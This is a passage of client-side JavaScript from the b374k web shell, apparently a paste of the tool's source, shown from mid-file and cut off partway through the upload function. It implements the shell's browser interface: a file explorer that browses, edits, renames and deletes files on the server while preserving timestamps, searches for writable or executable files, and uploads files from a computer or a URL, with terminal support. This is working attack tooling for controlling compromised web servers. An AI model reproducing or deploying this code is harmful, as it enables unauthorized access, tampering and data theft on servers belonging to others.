  2818. (d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);
  2819. window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});
  2820. Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};
  2821.  
  2822. var loading_count = 0;
  2823. var running = false;
  2824. var defaultTab = 'explorer';
  2825. var currentTab = $('#'+defaultTab);
  2826. var tabScroll = new Object;
  2827. var onDrag = false;
  2828. var onScroll = false;
  2829. var scrollDelta = 1;
  2830. var scrollCounter = 0;
  2831. var scrollSpeed = 60;
  2832. var scrollTimer = '';
  2833. var dragX = '';
  2834. var dragY = '';
  2835. var dragDeltaX = '';
  2836. var dragDeltaY = '';
  2837. var editSuccess = '';
  2838. var terminalHistory = new Array();
  2839. var terminalHistoryPos = 0;
  2840. var evalSupported = "";
  2841. var evalReady = false;
  2842. var resizeTimer = '';
  2843. var portableWidth = 700;
  2844. var portableMode = null;
  2845.  
  2846. Zepto(function($){
  2847.     if(init_shell){
  2848.         var now = new Date();
  2849.         output("started @ "+ now.toGMTString());
  2850.         output("cwd : "+get_cwd());
  2851.         output("module : "+module_to_load);
  2852.  
  2853.         show_tab();
  2854.         xpl_bind();
  2855.         eval_init();
  2856.        
  2857.         window_resize();
  2858.        
  2859.         xpl_update_status();
  2860.        
  2861.         $(window).on('resize', function(e){
  2862.             clearTimeout(resizeTimer);
  2863.             resizeTimer = setTimeout("window_resize()", 1000);
  2864.         });
  2865.  
  2866.         $('.menuitem').on('click', function(e){
  2867.             selectedTab = $(this).attr('href').substr(2);
  2868.             show_tab(selectedTab);
  2869.         });
  2870.  
  2871.         $('#logout').on('click', function(e){
  2872.             var cookie = document.cookie.split(';');
  2873.             for(var i=0; i<cookie.length; i++){
  2874.                 var entries = cookie[i], entry = entries.split("="), name = entry[0];
  2875.                 document.cookie = name + "=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
  2876.             }
  2877.             localStorage.clear();
  2878.             location.href = targeturl;
  2879.         });
  2880.  
  2881.         $('#totop').on('click', function(e){
  2882.             $(window).scrollTop(0);
  2883.         });
  2884.         $('#totop').on('mouseover', function(e){
  2885.             onScroll = true;
  2886.             clearTimeout(scrollTimer);
  2887.             start_scroll('top');
  2888.         });
  2889.         $('#totop').on('mouseout', function(e){
  2890.             onScroll = false;
  2891.             scrollCounter = 0;
  2892.         });
  2893.         $('#tobottom').on('click', function(e){
  2894.             $(window).scrollTop($(document).height()-$(window).height());
  2895.         });
  2896.         $('#tobottom').on('mouseover', function(e){
  2897.             onScroll = true;
  2898.             clearTimeout(scrollTimer);
  2899.             start_scroll('bottom');
  2900.         });
  2901.         $('#tobottom').on('mouseout', function(e){
  2902.             onScroll = false;
  2903.             scrollCounter = 0;
  2904.         });
  2905.         $('#basicInfo').on('mouseenter', function(e){
  2906.             $('#toggleBasicInfo').show();
  2907.         });
  2908.         $('#basicInfo').on('mouseleave', function(e){
  2909.             $('#toggleBasicInfo').hide();
  2910.         });
  2911.         $('#toggleBasicInfo').on('click', function(e){
  2912.             $('#basicInfo').hide();
  2913.             $('#showinfo').show();
  2914.             $('#toggleBasicInfo').hide();
  2915.             localStorage.setItem('infoBarShown', 'hidden');
  2916.         });
  2917.         $('#showinfo').on('click', function(e){
  2918.             $('#basicInfo').show();
  2919.             $('#showinfo').hide();
  2920.             localStorage.setItem('infoBarShown', 'shown');
  2921.         });
  2922.        
  2923.         if((infoBarShown = localStorage.getItem('infoBarShown'))){
  2924.             if(infoBarShown=='shown'){
  2925.                 $('#basicInfo').show();
  2926.                 $('#showinfo').hide();
  2927.             }
  2928.             else{
  2929.                 $('#basicInfo').hide();
  2930.                 $('#showinfo').show();
  2931.                 $('#toggleBasicInfo').hide();
  2932.             }
  2933.         }
  2934.         else{
  2935.             info_refresh();
  2936.         }
  2937.  
  2938.         if(history.pushState){
  2939.             window.onpopstate = function(event) { refresh_tab(); };
  2940.         }
  2941.         else{
  2942.             window.historyEvent = function(event) { refresh_tab(); };
  2943.         }
  2944.     }
  2945. });
  2946.  
  2947. function output(str){
  2948.     console.log('b374k> '+str);
  2949. }
  2950.  
  2951. function window_resize(){
  2952.     bodyWidth = $('body').width();
  2953.     if(bodyWidth<=portableWidth){
  2954.         layout_portable();
  2955.     }
  2956.     else{
  2957.         layout_normal();
  2958.     }
  2959. }
  2960.  
  2961. function layout_portable(){
  2962.     nav = $('#nav');
  2963.     menu = $('#menu');
  2964.     headerNav = $('#headerNav');
  2965.     content = $('#content');
  2966.  
  2967.     //nav.hide();
  2968.     nav.prependTo('#content');
  2969.     nav.css('padding','5px 8px');
  2970.     nav.css('margin-top', '8px');
  2971.     nav.css('display','block');
  2972.     nav.addClass('border');
  2973.    
  2974.     menu.children().css('width', '100%');
  2975.     menu.hide();
  2976.     $('#menuButton').remove(); 
  2977.     headerNav.prepend("<div id='menuButton' class='boxtitle' onclick=\"$('#menu').toggle();\" style='float-left;display:inline;padding:4px 8px;margin-right:8px;'>menu</div>");
  2978.     menu.attr('onclick', "\$('#menu').hide();");
  2979.    
  2980.     $('#xplTable tr>:nth-child(4)').hide();
  2981.     $('#xplTable tr>:nth-child(5)').hide();
  2982.     if(!win){
  2983.         $('#xplTable tr>:nth-child(6)').hide();
  2984.     }
  2985.    
  2986.     tblfoot = $('#xplTable tfoot td:last-child');
  2987.     if(tblfoot[0]) tblfoot[0].colSpan = 1;
  2988.     if(tblfoot[1]) tblfoot[1].colSpan = 2;
  2989.    
  2990.    
  2991.     $('.box').css('width', '100%');
  2992.     $('.box').css('height', '100%');
  2993.     $('.box').css('left', '0px');
  2994.     $('.box').css('top', '0px');
  2995.        
  2996.     paddingTop = $('#header').height();
  2997.     content.css('padding-top', paddingTop+'px');
  2998.    
  2999.     portableMode = true;
  3000. }
  3001.  
  3002. function layout_normal(){  
  3003.     nav = $('#nav');
  3004.     menu = $('#menu'); 
  3005.     content = $('#content');
  3006.  
  3007.     nav.insertAfter('#b374k');
  3008.     nav.css('padding','0');
  3009.     nav.css('margin-top', '0');
  3010.     nav.css('display','inline');
  3011.     nav.removeClass('border');
  3012.    
  3013.     menu.children().css('width', 'auto');
  3014.     menu.show();
  3015.     $('#menuButton').remove();
  3016.     menu.attr('onclick', "");
  3017.    
  3018.     $('#xplTable tr>:nth-child(4)').show();
  3019.     $('#xplTable tr>:nth-child(5)').show();
  3020.     if(!win){
  3021.         $('#xplTable tr>:nth-child(6)').show();
  3022.         colspan = 4;
  3023.     }
  3024.     else colspan = 3;
  3025.    
  3026.     tblfoot = $('#xplTable tfoot td:last-child');
  3027.     if(tblfoot[0]) tblfoot[0].colSpan = colspan;
  3028.     if(tblfoot[1]) tblfoot[1].colSpan = colspan+1;
  3029.  
  3030.     paddingTop = $('#header').height();
  3031.     content.css('padding-top', paddingTop+'px');
  3032.    
  3033.     portableMode = false;
  3034. }
  3035.  
  3036. function start_scroll(str){
  3037.     if(str=='top'){
  3038.         to = $(window).scrollTop() - scrollCounter;
  3039.         scrollCounter = scrollDelta + scrollCounter;
  3040.         if(to<=0){
  3041.             to = 0;
  3042.             onScroll = false;
  3043.         }
  3044.         else if(onScroll){
  3045.             scrollTimer = setTimeout("start_scroll('top')", scrollSpeed);
  3046.             $(window).scrollTop(to);
  3047.         }
  3048.     }
  3049.     else if(str=='bottom'){
  3050.         to = $(window).scrollTop() + scrollCounter;
  3051.         scrollCounter = scrollDelta + scrollCounter;
  3052.         bottom = $(document).height()-$(window).height();
  3053.         if(to>=bottom){
  3054.             to = bottom;
  3055.             onScroll = false;
  3056.         }
  3057.         else if(onScroll){
  3058.             scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed);
  3059.             $(window).scrollTop(to);
  3060.         }
  3061.     }
  3062. }
  3063.  
  3064. function get_cwd(){
  3065.     return decodeURIComponent(get_cookie('cwd'));
  3066. }
  3067.  
  3068. function fix_tabchar(el, e){
  3069.     if(e.keyCode==9){
  3070.         e.preventDefault();
  3071.         var s = el.selectionStart;
  3072.         el.value = el.value.substring(0,el.selectionStart) + "\t" + el.value.substring(el.selectionEnd);
  3073.         el.selectionEnd = s+1;
  3074.     }
  3075. }
  3076.  
  3077. function get_cookie(key){
  3078.     var res;
  3079.     return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? (res[1]) : null;
  3080. }
  3081.  
  3082. function set_cookie(key, value){
  3083.     document.cookie = key + '=' + encodeURIComponent(value);
  3084. }
  3085.  
  3086. function html_safe(str){
  3087.     if(typeof(str) == "string"){
  3088.         str = str.replace(/&/g, "&amp;");
  3089.         str = str.replace(/"/g, "&quot;");
  3090.         str = str.replace(/'/g, "&#039;");
  3091.         str = str.replace(/</g, "&lt;");
  3092.         str = str.replace(/>/g, "&gt;");
  3093.     }
  3094.     return str;
  3095. }
  3096.  
  3097. function ucfirst(str){
  3098.     return str.charAt(0).toUpperCase() + str.slice(1);
  3099. }
  3100.  
  3101. function time(){
  3102.     var d = new Date();
  3103.     return d.getTime();
  3104. }
  3105.  
  3106. function send_post(targetdata, callback, loading){
  3107.     if(loading==null) loading_start();
  3108.     $.ajax({
  3109.         url: targeturl,
  3110.         type: 'POST',
  3111.         data: targetdata,
  3112.         success: function(res){
  3113.             callback(res);
  3114.             if(loading==null) loading_stop();
  3115.         },
  3116.         error: function(){ if(loading==null) loading_stop(); }
  3117.     });
  3118. }
  3119.  
  3120. function loading_start(){
  3121.     if(!running){
  3122.         $('#overlay').show();
  3123.         running = true;
  3124.         loading_loop();
  3125.     }
  3126. }
  3127.  
  3128. function loading_loop(){
  3129.     if(running){
  3130.         img = $('#loading');
  3131.         img.css('transform', 'rotate('+loading_count+'deg)');
  3132.         img.css('-ms-transform', 'rotate('+loading_count+'deg)');
  3133.         img.css('-webkit-transform', 'rotate('+loading_count+'deg)');
  3134.  
  3135.         loading_count+=7;
  3136.         if(loading_count>360) loading_count = 0;
  3137.         if(running) setTimeout("loading_loop()",20);
  3138.     }
  3139. }
  3140.  
  3141. function loading_stop(){
  3142.     if(running){
  3143.         img = $('#loading');
  3144.         img.css('transform', 'rotate(0deg)');
  3145.         img.css('-ms-transform', 'rotate(0deg)');
  3146.         img.css('-webkit-transform', 'rotate(0deg)');
  3147.  
  3148.         $('#overlay').hide();
  3149.         running = false;
  3150.     }
  3151. }
  3152.  
  3153. function show_tab(id){
  3154.     if(!id){
  3155.         if(location.hash!='') id = location.hash.substr(2);
  3156.         else id = defaultTab;
  3157.     }
  3158.     refresh_tab(id);
  3159. }
  3160.  
  3161. function refresh_tab(id){
  3162.     if(!id){
  3163.         if(location.hash!='') id = location.hash.substr(2);
  3164.         else id = defaultTab;
  3165.     }
  3166.     $('.menuitemSelected').removeClass("menuitemSelected");
  3167.     $('#menu'+id).addClass("menuitemSelected");
  3168.  
  3169.     tabScroll[currentTab.attr('id')] = $(window).scrollTop();
  3170.     currentTab.hide();
  3171.     currentTab = $('#'+id);
  3172.     currentTab.show();
  3173.     window[id]();
  3174.     if(tabScroll[id]){
  3175.         $(window).scrollTop(tabScroll[id]);
  3176.     }
  3177.     hide_box();
  3178. }
  3179.  
  3180. function trap_enter(e, callback){
  3181.     if(e.keyCode==13){
  3182.         if(callback!=null) window[callback]();
  3183.     }
  3184. }
  3185.  
  3186. function show_box(title, content){
  3187.     onDrag = false;
  3188.     hide_box();
  3189.     box = "<div class='box'><p class='boxtitle'>"+title+"<span class='boxclose floatRight'>x</span></p><div class='boxcontent'>"+content+"</div><div class='boxresult'></div></div>";
  3190.     $('#content').append(box);
  3191.  
  3192.     box_width = $('.box').width();
  3193.     body_width = $('body').width();
  3194.  
  3195.     box_height = $('.box').height();
  3196.     body_height = $('body').height();
  3197.  
  3198.     x = (body_width - box_width)/2;
  3199.     y = (body_height - box_height)/2;
  3200.     if(x<0 || portableMode) x = 0;
  3201.     if(y<0 || portableMode) y = 0;
  3202.     if(portableMode){
  3203.         $('.box').css('width', '100%');
  3204.         $('.box').css('height', '100%');   
  3205.     }
  3206.  
  3207.     $('.box').css('left', x+'px');
  3208.     $('.box').css('top', y+'px');
  3209.  
  3210.     $('.boxclose').on('click', function(e){
  3211.         hide_box();
  3212.     });
  3213.    
  3214.     if(!portableMode){
  3215.         $('.boxtitle').on('click', function(e){
  3216.             if(!onDrag){
  3217.                 dragDeltaX = e.pageX - parseInt($('.box').css('left'));
  3218.                 dragDeltaY = e.pageY - parseInt($('.box').css('top'));
  3219.                 drag_start();
  3220.             }
  3221.             else drag_stop();
  3222.         });
  3223.     }
  3224.  
  3225.     $(document).off('keyup');
  3226.     $(document).on('keyup', function(e){
  3227.         if(e.keyCode == 27) hide_box();
  3228.     });
  3229.  
  3230.     if($('.box input')[0]) $('.box input')[0].focus();
  3231. }
  3232.  
  3233. function hide_box(){
  3234.     $(document).off('keyup');
  3235.     $('.box').remove();
  3236. }
  3237.  
  3238. function drag_start(){
  3239.     if(!onDrag){
  3240.         onDrag = true;
  3241.         $('body').off('mousemove');
  3242.         $('body').on('mousemove', function(e){
  3243.             dragX = e.pageX;
  3244.             dragY = e.pageY;
  3245.         });
  3246.         setTimeout('drag_loop()',50);
  3247.     }
  3248. }
  3249.  
  3250. function drag_loop(){
  3251.     if(onDrag){
  3252.         x = dragX - dragDeltaX;
  3253.         y = dragY - dragDeltaY;
  3254.         if(y<0)y=0;
  3255.         $('.box').css('left', x+'px');
  3256.         $('.box').css('top', y+'px');
  3257.         setTimeout('drag_loop()',50);
  3258.     }
  3259. }
  3260.  
  3261. function drag_stop(){
  3262.     onDrag = false;
  3263.     $('body').off('mousemove');
  3264. }
  3265.  
  3266. function get_all_cbox_selected(id, callback){
  3267.     var buffer = new Array();
  3268.     $('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){
  3269.         if((href = window[callback]($(this)))){
  3270.             buffer[i] = href;
  3271.         }
  3272.     });
  3273.     return buffer;
  3274. }
  3275.  
  3276.  
  3277. function cbox_bind(id, callback){
  3278.     $('#'+id).find('.cBox').off('click');
  3279.     $('#'+id).find('.cBoxAll').off('click');
  3280.  
  3281.     $('#'+id).find('.cBox').on('click', function(e){
  3282.         if($(this).hasClass('cBoxSelected')){
  3283.             $(this).removeClass('cBoxSelected');
  3284.         }
  3285.         else $(this).addClass('cBoxSelected');
  3286.         if(callback!=null) window[callback]();
  3287.     });
  3288.     $('#'+id).find('.cBoxAll').on('click', function(e){
  3289.         if($(this).hasClass('cBoxSelected')){
  3290.             $('#'+id).find('.cBox').removeClass('cBoxSelected');
  3291.             $('#'+id).find('.cBoxAll').removeClass('cBoxSelected');
  3292.         }
  3293.         else{
  3294.             $('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected');
  3295.             $('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected');
  3296.         }
  3297.         if(callback!=null) window[callback]();
  3298.     });
  3299. }
  3300.  
  3301.  
  3302. function action(path, type){
  3303.     title = "Action";
  3304.     content = '';
  3305.     if(type=='file') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='edit button'>edit</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='dl button'>download</span></td></tr></table>";
  3306.     if(type=='dir') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span></td></tr></table>";
  3307.     if(type=='dot') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='newfile button'>new file</span><span class='newfolder button'>new folder</span></td></tr></table>";
  3308.     show_box(title, content);
  3309.     xpl_bind();
  3310. }
  3311.  
  3312. function navigate(path, showfiles){
  3313.     if(showfiles==null) showfiles = 'true';
  3314.     send_post({ cd:path, showfiles:showfiles }, function(res){
  3315.         if(res!='error'){
  3316.             splits = res.split('{[|b374k|]}');
  3317.             if(splits.length==3){
  3318.                 $('#nav').html(splits[1]);
  3319.                 if(showfiles=='true'){
  3320.                     $('#explorer').html('');
  3321.                     $('#explorer').html(splits[2]);
  3322.                     sorttable.k($('#xplTable').get(0));
  3323.                 }
  3324.                 $('#terminalCwd').html(html_safe(get_cwd())+'&gt;');
  3325.                 xpl_bind();
  3326.                 window_resize();
  3327.             }
  3328.         }
  3329.     });
  3330. }
  3331.  
  3332. function view(path, type, preserveTimestamp){
  3333.     if(preserveTimestamp==null) preserveTimestamp = 'true';
  3334.     send_post({ viewFile: path, viewType: type, preserveTimestamp:preserveTimestamp }, function(res){
  3335.         if(res!='error'){
  3336.             $('#explorer').html('');
  3337.             $('#explorer').html(res);
  3338.             xpl_bind();
  3339.             show_tab('explorer');
  3340.             if((type=='edit')||(type=='hex')){
  3341.                 editResult = (type=='edit')? $('#editResult'):$('#editHexResult');
  3342.                 if(editSuccess=='success'){
  3343.                     editResult.html(' ( File saved )');
  3344.                 }
  3345.                 else if(editSuccess=='error'){
  3346.                     editResult.html(' ( Failed to save file )');
  3347.                 }
  3348.                 editSuccess = '';
  3349.             }
  3350.             cbox_bind('editTbl');
  3351.         }
  3352.     });
  3353. }
  3354.  
  3355. function view_entry(el){
  3356.     if($(el).attr('data-path')!=''){
  3357.         entry = $(el).attr('data-path');
  3358.         $('#form').append("<input type='hidden' name='viewEntry' value='"+entry+"'>");
  3359.         $('#form').submit();
  3360.         $('#form').html('');
  3361.     }
  3362. }
  3363.  
  3364. function ren(path){
  3365.     title = "Rename";
  3366.     content = "<table class='boxtbl'><tr><td class='colFit'>Rename to</td><td><input type='text' class='renameFileTo' value='" +path+"' onkeydown=\"trap_enter(event, 'ren_go');\"><input type='hidden' class='renameFile' value='"+path+"'></td></tr><tr><td colspan='2'><span class='button' onclick='ren_go();'>rename</span></td></tr></table>";
  3367.     show_box(title, content);
  3368. }
  3369.  
  3370. function ren_go(){
  3371.     renameFile = $('.renameFile').val();
  3372.     renameFileTo = $('.renameFileTo').val();
  3373.     send_post({renameFile:renameFile, renameFileTo:renameFileTo}, function(res){
  3374.         if(res!='error'){
  3375.             navigate(res);
  3376.             $('.boxresult').html('Operation(s) succeeded');
  3377.             $('.renameFile').val($('.renameFileTo').val());
  3378.         }
  3379.         else $('.boxresult').html('Operation(s) failed');
  3380.     });
  3381. }
  3382.  
  3383. function newfolder(path){
  3384.     title = "New Folder";
  3385.     path = path + 'newfolder-' + time();
  3386.     content = "<table class='boxtbl'><tr><td class='colFit'>Folder Name</td><td><input type='text' class='newFolder' value='"+path+"' onkeydown=\"trap_enter(event, 'newfolder_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfolder_go();'>create</span></td></tr></table>";
  3387.     show_box(title, content);
  3388. }
  3389.  
  3390. function newfolder_go(){
  3391.     newFolder = $('.newFolder').val();
  3392.     send_post({newFolder:newFolder}, function(res){
  3393.         if(res!='error'){
  3394.             navigate(res);
  3395.             $('.boxresult').html('Operation(s) succeeded');
  3396.         }
  3397.         else $('.boxresult').html('Operation(s) failed');
  3398.     });
  3399. }
  3400.  
  3401. function newfile(path){
  3402.     title = "New File";
  3403.     path = path + 'newfile-' + time();
  3404.     content = "<table class='boxtbl'><tr><td class='colFit'>File Name</td><td><input type='text' class='newFile' value='"+path+"' onkeydown=\"trap_enter(event, 'newfile_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfile_go();'>create</span></td></tr></table>";
  3405.     show_box(title, content);
  3406. }
  3407.  
  3408. function newfile_go(){
  3409.     newFile = $('.newFile').val();
  3410.     send_post({newFile:newFile}, function(res){
  3411.         if(res!='error'){
  3412.             view(newFile, 'edit');
  3413.             $('.boxresult').html('Operation(s) succeeded');
  3414.         }
  3415.         else $('.boxresult').html('Operation(s) failed');
  3416.     });
  3417. }
  3418.  
  3419. function viewfileorfolder(){
  3420.     title = "View File / Folder";
  3421.     content = "<table class='boxtbl'><tr><td><input type='text' class='viewFileorFolder' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'viewfileorfolder_go');\"></td></tr><tr><td><span class='button' onclick='viewfileorfolder_go();'>view</span></td></tr></table>";
  3422.     show_box(title, content);
  3423. }
  3424.  
  3425. function viewfileorfolder_go(){
  3426.     entry = $('.viewFileorFolder').val();
  3427.     send_post({viewFileorFolder:entry}, function(res){
  3428.         if(res!='error'){
  3429.             if(res=='file'){
  3430.                 view(entry, 'auto');
  3431.                 show_tab('explorer');
  3432.             }
  3433.             else if(res=='folder'){
  3434.                 navigate(entry);
  3435.                 show_tab('explorer');
  3436.             }
  3437.         }
  3438.     });
  3439. }
  3440.  
  3441. function del(path){
  3442.     title = "Delete";
  3443.     content = "<table class='boxtbl'><tr><td class='colFit'>Delete</td><td><input type='text' class='delete' value='"+path+"' onkeydown=\"trap_enter(event, 'delete_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='delete_go();'>delete</span></td></tr></table>";
  3444.     show_box(title, content);
  3445. }
  3446.  
  3447. function delete_go(){
  3448.     path = $('.delete').val();
  3449.     send_post({delete:path}, function(res){
  3450.         if(res!='error'){
  3451.             navigate(res);
  3452.             $('.boxresult').html('Operation(s) succeeded');
  3453.         }
  3454.         else $('.boxresult').html('Operation(s) failed');
  3455.     });
  3456. }
  3457.  
  3458. function find(path){
  3459.     findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
  3460.     findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
  3461.     $('#explorer').html("<div id='xplUpload'>" +findfile+'<br>'+findfolder+'</div>');
  3462.     cbox_bind('xplUpload');
  3463. }
  3464.  
  3465. function find_go_file(){
  3466.     find_go('file');
  3467. }
  3468.  
  3469. function find_go_folder(){
  3470.     find_go('folder');
  3471. }
  3472.  
  3473. function find_go(findType){
  3474.     findPath = (findType=='file')? $('.findfilePath').val():$('.findFolderPath').val();
  3475.     findResult = (findType=='file')? $('.findfileResult'):$('.findResult');
  3476.  
  3477.     findName = (findType=='file')? $('.findfileFilename').val():$('.findFoldername').val();
  3478.     findNameRegex = (findType=='file')? $('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString();
  3479.     findNameInsensitive = (findType=='file')? $('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString();
  3480.  
  3481.     findContent = (findType=='file')? $('.findfileContains').val():"";
  3482.     findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";
  3483.     findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";
  3484.  
  3485.     findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();
  3486.     findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
  3487.     findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();
  3488.  
  3489.     send_post(
  3490.         {
  3491.             findType:findType,
  3492.             findPath:findPath,
  3493.             findName:findName,
  3494.             findNameRegex:findNameRegex,
  3495.             findNameInsensitive:findNameInsensitive,
  3496.             findContent:findContent,
  3497.             findContentRegex:findContentRegex,
  3498.             findContentInsensitive:findContentInsensitive,
  3499.             findReadable:findReadable,
  3500.             findWritable:findWritable,
  3501.             findExecutable:findExecutable
  3502.         },
  3503.         function(res){
  3504.             if(res!='error'){
  3505.                 findResult.html(res);
  3506.             }
  3507.         }
  3508.     );
  3509. }
  3510.  
  3511. function ul_go_comp(){
  3512.     ul_go('comp');
  3513. }
  3514.  
  3515. function ul_go_url(){
  3516.     ul_go('url');
  3517. }
  3518.  
  3519. function ul(path){
  3520.     ulcomputer = "<table class='boxtbl ulcomp'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Computer <a onclick='ul_add_comp();'>(+)</a></p></th></tr></thead><tbody class='ulcompadd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_comp();\">upload</span></td></tr><tr><td colspan='2' class='ulCompResult'></td></tr><tr><td colspan='2'><div id='ulDragNDrop'>Or Drag and Drop files here</div></td></tr><tr><td colspan='2' class='ulDragNDropResult'></td></tr></tfoot></table>";
  3521.     ulurl = "<table class='boxtbl ulurl'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Url <a onclick='ul_add_url();'>(+)</a></p></th></tr></thead><tbody class='ulurladd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_url();\">upload</span></td></tr><tr><td colspan='2' class='ulUrlResult'></td></tr></tfoot></table>";
  3522.     content = ulcomputer + '<br>' + ulurl + "<input type='hidden' class='ul_path' value='"+path+"'>";
  3523.     $('#explorer').html(content);
  3524.     ul_add_comp();
  3525.     ul_add_url();
  3526.  
  3527.     $('#ulDragNDrop').on('dragenter', function(e){
  3528.         e.stopPropagation();
  3529.         e.preventDefault();
  3530.     });
  3531.  
  3532.     $('#ulDragNDrop').on('dragover', function(e){
  3533.         e.stopPropagation();
  3534.         e.preventDefault();
  3535.     });
  3536.  
  3537.     $('#ulDragNDrop').on('drop', function(e){
  3538.         e.stopPropagation();
  3539.         e.preventDefault();
  3540.  
  3541.         files = e.target.files || e.dataTransfer.files;
  3542.         ulResult = $('.ulDragNDropResult');
  3543.         ulResult.html('');
  3544.         $.each(files, function(i){
  3545.             if(this){
  3546.                 ulType = 'DragNDrop';
  3547.                 filename = this.name;
  3548.  
  3549.                 var formData = new FormData();
  3550.                 formData.append('ulFile', this);
  3551.                 formData.append('ulSaveTo', get_cwd());
  3552.                 formData.append('ulFilename', filename);
  3553.                 formData.append('ulType', 'comp');
  3554.  
